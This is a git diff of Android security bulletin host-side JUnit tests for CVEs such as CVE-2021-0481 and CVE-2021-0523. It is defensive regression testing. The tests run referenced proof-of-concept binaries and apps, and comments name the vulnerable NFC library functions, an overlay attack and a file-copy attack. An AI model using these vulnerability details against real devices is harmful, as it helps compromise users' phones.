+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0073 extends SecurityTestCase {
@@ -30,16 +33,23 @@ public class CVE_2020_0073 extends SecurityTestCase {
/**
* b/147309942
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 147309942)
public void testPocCVE_2020_0073() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
new file mode 100644
index 00000000000..84b45a0304c
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0458 extends SecurityTestCase {
+
+ /**
+ * b/160265164
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @AsbSecurityTest(cveBugId = 160265164)
+ @Test
+ public void testPocCVE_2020_0458() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index 43a058c5543..ed3e846064b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -23,7 +23,7 @@ import org.junit.runner.RunWith;
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_29374 extends SecurityTestCase {
/**
* b/174738029
@@ -31,7 +31,7 @@ public class CVE_2020_29368 extends SecurityTestCase {
*/
@AsbSecurityTest(cveBugId = 174738029)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2020_29374() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f823fa..4b1bc22e33f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@ import org.junit.runner.RunWith;
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503ce88d..585d19bfbd2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2021_0430 extends SecurityTestCase {
/**
* b/178725766
* Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 178725766)
public void testPocCVE_2021_0430() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-0430";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_mfc_handle_read_op"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
deleted file mode 100644
index 5f0c200d1f4..00000000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeInstant;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.*;
-import static org.hamcrest.CoreMatchers.*;
-
-/**
- * Test that collects test results from test package android.security.cts.CVE_2021_0481.
- *
- * When this test builds, it also builds a support APK containing
- * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
- * collected from the hostside and reported accordingly.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
- private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0481.apk";
-
- private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
- private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
-
- //defined originally as
- //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
- //in com.android.settings.users.EditUserPhotoController class
- private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
- private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
-
- @Before
- public void setUp() throws Exception {
- uninstallPackage(getDevice(), TEST_PKG);
- }
-
- @Test
- @AsbSecurityTest(cveBugId = 172939189)
- @AppModeFull
- public void testRunDeviceTest() throws Exception {
-
- String cmd;
-
- //delete a source file just in case AdbUtils.pushResource()
- //doesn't overwrite existing file
- cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- //push the source file to a device
- AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-
- //delete a destination file which is supposed to be created by a vulnerable device
- //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
- cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- installPackage();
-
- //ensure the screen is woken up.
- //KEYCODE_WAKEUP wakes up the screen
- //KEYCODE_MENU called twice unlocks the screen (if locked)
- //Note: (applies to Android 12 only):
- // KEYCODE_MENU called less than twice doesnot unlock the screen
- // no matter how many times KEYCODE_HOME is called.
- // This is likely a timing issue which has to be investigated further
- getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
- getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
- getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
- getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-
- //run the test
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
-
- //go to home screen after test
- getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-
- //Check if TEST_FILE_NAME has been copied by "Evil activity"
- //If the file has been copied then it means the vulnerability is active so the test fails.
- cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
- DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
- String result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
- CLog.i(cmd + " -->" + result);
-
- //Delete files created by this test
- cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
- cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- //final assert
- assertThat(result, not(is("0")));
- }
-
- private void installPackage() throws Exception {
- installPackage(TEST_APP, new String[0]);
- }
-}
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b27cd2..3e6928853de 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,43 @@
package android.security.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0523.apk";
- private static void extractInt(String str, int[] displaySize) {
- str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
- if (str.equals("")) {
- return;
- }
- String s[] = str.split(" ");
- for (int i = 0; i < s.length; ++i) {
- displaySize[i] = Integer.parseInt(s[i]);
- }
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
}
/**
* b/174047492
*/
- @Test
+ @AppModeFull
@AsbSecurityTest(cveBugId = 174047492)
+ @Test
public void testPocCVE_2021_0523() throws Exception {
- final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
- String apkName = "CVE-2021-0523.apk";
- String appPath = AdbUtils.TMP_PATH + apkName;
- String packageName = "android.security.cts.cve_2021_0523";
- String crashPattern =
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
- ITestDevice device = getDevice();
-
- try {
- /* Push the app to /data/local/tmp */
- pocPusher.appendBitness(false);
- pocPusher.pushFile(apkName, appPath);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
- /* Install the application */
- AdbUtils.runCommandLine("pm install " + appPath, device);
-
- /* Grant "Draw over other apps" permission */
- AdbUtils.runCommandLine(
- "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
- /* Start the application */
- AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
- Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
- /* Get screen width and height */
- int[] displaySize = new int[2];
- extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
- int width = displaySize[0];
- int height = displaySize[1];
-
- /* Give a tap command for center of screen */
- AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- /* Un-install the app after the test */
- AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Detection of crash pattern in the logs */
- String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
- Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
- assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
- }
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ getDevice());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1ec31..5a7ec8d1c24 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9fd1b..eb74b201862 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@ import static org.junit.Assert.assertThat;
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 00000000000..29fd2b39bf2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-0642.apk";
+ static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ uninstallPackage(device, TEST_PKG);
+ }
+
+ /**
+ * b/185126149
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 185126149)
+ @Test
+ public void testPocCVE_2021_0642() throws Exception {
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b19b0..26bba4a6d50 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bdcbbd..bf261fd0eab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@ import static org.hamcrest.CoreMatchers.*;
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6feec..2b7ad1452d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bedeb2f7..fabaf89437a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e19fcb..760c265fe09 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@ import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@ import org.junit.runner.RunWith;
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 00000000000..ecb6bdd3cd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 184046278)
+ @Test
+ public void testPocCVE_2021_0953() throws Exception {
+ final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+ final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ final String TEST_APP = "CVE-2021-0953.apk";
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904c0c2..65934f2741f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
package android.security.cts;
-import static org.junit.Assert.assertFalse;
+
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
